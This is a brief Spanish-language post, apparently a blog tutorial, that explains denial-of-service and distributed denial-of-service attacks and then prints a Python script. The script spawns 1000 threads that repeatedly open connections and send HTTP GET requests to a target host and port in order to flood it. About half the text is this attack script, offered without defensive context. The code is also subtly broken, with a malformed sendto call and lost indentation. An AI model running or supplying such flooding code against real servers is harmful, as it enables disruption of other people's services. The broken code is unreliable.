Un ataque DOS, en seguridad informática significa “Ataque de denegación de servicio”, y se basan en saturar el ancho de banda de un equipo a base de hacer miles de peticiones al mismo tiempo.
Es script que voy a mostrar a continuación, pasaría a ser un ataque DOS si se ejecuta en una sola máquina. Los ataques DOS son más fáciles de detener y normalmente los proveedores de hosting están prevenidos para ellos y simplemente bloquean la IP desde la que se está lanzando el ataque.
En cambio, si el ataque se lanza desde varios ordenadores a la vez, estaríamos hablando de un ataque DDOS, éstos son más difíciles de detener, pues son varios los ordenadores que realizan llamadas masivas y constantes al servidor. Cada uno de ellos con una dirección IP determinada y situados en diferentes lugares del mundo.
import socket
import threading
ip = '127.0.0.1'
port = 8080
def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.sendto(('GET /' + ip + ' HTTP/1.1\r\n').encode('ascii', (ip, port)))
# crea 1000 hilos que llaman al mismo endpoint infinitamente
for _ in range(1000):
thread = threading.Thread(target=attack)
thread.start()